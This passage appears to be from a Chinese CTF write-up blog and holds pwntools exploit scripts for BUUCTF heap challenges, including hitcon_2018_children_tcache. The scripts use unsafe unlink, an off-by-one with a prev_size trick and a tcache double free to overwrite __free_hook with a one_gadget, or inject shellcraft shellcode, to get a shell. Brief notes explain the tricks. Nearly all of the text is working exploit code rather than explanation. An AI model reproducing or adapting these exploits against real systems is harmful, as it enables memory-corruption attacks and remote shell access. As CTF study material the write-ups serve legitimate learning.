libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 29110      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b *0x4008A6     c     x/10xg 0x601040     " ""     gdb.attach(io, gdbscript=gdbscript) def add(size: int , content: bytes):     sa(b"choice :" , b"1" )     sa(b"Size: " , str(size).encode())     sa(b"Data: " , content) # 任意溢出 def edit(index: int , content: bytes):     sa(b"choice :" , b"3" )     sa(b"Index: " , str(index).encode())     sa(b"Size: " , str(len(content)).encode())     sa(b"Data: " , content) # 没有清空 def free (index: int ):     sa(b"choice :" , b"2" )     sa(b"Index: " , str(index).encode()) # def show(index: int): #     sa(b"Choice: \n" , b"4" ) #     sa(b"Index: " , str(index).encode()) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out ptr = 0x601040  add(0x28 , b"a" ) add(0x418 , b"a" ) add(0x18 , b"a" ) edit(     0 ,     p64(0 ) + p64(0x21 ) + p64(ptr - 0x18 ) + p64(ptr - 0x10 ) + p64(0x20 ) + p64(0x420 ), ) free (1 )add(0x18 , b"a" ) add(0x18 , b"a" ) free (3 )free (3 )edit(3 , p8(0x90 )) add(0x18 , b"a" ) add(0x18 , b"a" ) add(0x18 , b"a" ) edit(0 , p64(0 ) * 3  + p64(ptr) + p64(0 ) * 6  + p8(0x30 )) edit(7 , p64(ptr)) edit(0 , asm (shellcraft.sh())) sa(b"choice :" , b"1" ) sa(b"Size: " , str(0x18 ).encode()) it() debug() it() exit (0 )
hitcon_2018_children_tcache BUUCTF在线评测 
这个题比较巧妙的几个地方
off by one 用来修改size
free之前会memset,所以需要通过不断调整大小来修改prev_size
double free tcache
tcache不检查大小是否匹配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./HITCON_2018_children_tcache_debug"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) if  "debug"  in elf_path:    libc_path = elf.linker.decode().replace("ld" , "./libc" )     libc = ELF(libc_path)     if  "2.23"  in libc_path:         one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ]     elif "2.27"  in libc_path:         one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ]     else :         one_gadget = [] else :    libc_path = ""  if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 26107      io = remote(remote_ip, remote_port) else :    if  libc_path != "" :         io = process(elf_path, env={"LD_PRELOAD" : libc_path})     else :         io = process(elf_path) def debug():     # 断点设置在c之前就好,查看bss时候要在c后面, x/5 xg $rebase(0xAF9 )     # b *$rebase(0x14F6)      # b *$rebase(0x13A9)      gdbscript = "" "      b *$rebase(0xD6B)     c     x/6xg $rebase(0x202060)     x/6xg $rebase(0x2020C0)     " ""     gdb.attach(io, gdbscript=gdbscript) # 存在off by one def add(size: int , content: bytes):     sa(b"choice: " , b"1" )     sla(b"Size:" , str(size).encode())     sa(b"Data:" , content) def show(index: int ):     sa(b"choice: " , b"2" )     sa(b"Index:" , str(index).encode()) # def edit(index: int, content: bytes): #     sla(b"choice: " , b"3" ) #     sla(b"index : \n" , str(index).encode()) #     sla(b"Please enter the length of item name:" , str(len(content)).encode()) #     sa(b"Please enter the new name of the item:" , content) # 这里有个小trick,他是根据请求的size进行清空,只要我们不断把size变小,就不会重复填入\xda def free (index: int ):     sa(b"choice: " , b"3" )     sa(b"Index:" , str(index).encode()) add(0x418 , b"a" ) add(0x18 , b"a" ) add(0x4F8 , b"a" ) add(0x18 , b"a" ) free (0 )free (1 )for  i in range(6 ):    add(0x18  - i, b"a"  * (0x18  - i))     free (0 ) add(0x18 , b"a"  * 0x10  + p16(0x440 )) free (2 )add(0x418 , b"a" ) show(0 ) libc_base = u64(rld().ljust(8 , b"\0" )) - 0x7FD7F4B60CA0  + 0x7FD7F4775000  add(0x18 , b"a" ) add(0x18 , b"a" ) add(0x18 , b"c" ) free (5 )free (0 )free (4 )free (2 )free_hook_addr = libc_base + libc.sym["__free_hook" ] system_addr = libc_base + one_gadget[1 ] add(0x18 , p64(free_hook_addr)) add(0x18 , b"/bin/sh\0" ) add(0x18 , b"/bin/sh\0" ) # debug() add(0x18 , p64(system_addr)) free (0 )it() # debug() # add(0x18, b"a"  * 0x10 + p64(0x20)) # free(0) # add(0x18, b"aa" ) # show(0) # rl() # rl() # add(0x18, b"a"  * 0x17) # for i in range(9): #     add(0x2000 - 8, b"a"  * 0x17) # # for i in range(2, 9):  # #     free(i)  # free(2) # free(0) # add(0x18, b"a"  * 0x18) # free(0) # add(0x18, b"a"  * 0x10 + b"a"  * 0x6 + b"\0" ) # free(1) # add(0x18, b"" ) # free(1) 
old edition 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./pwn200_debug"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) if  "debug"  in elf_path:    libc_path = elf.linker.decode().replace("ld" , "./libc" )     libc = ELF(libc_path)     if  "2.23"  in libc_path:         one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ]     elif "2.27"  in libc_path:         one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ]     else :         one_gadget = [] else :    libc_path = ""  if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 29413      io = remote(remote_ip, remote_port) else :    if  libc_path != "" :         io = process(elf_path, env={"LD_PRELOAD" : libc_path})     else :         io = process(elf_path) def debug():     gdbscript = "" "      b *0x400A72     b *0x400a8c     c     " ""     gdb.attach(io, gdbscript=gdbscript)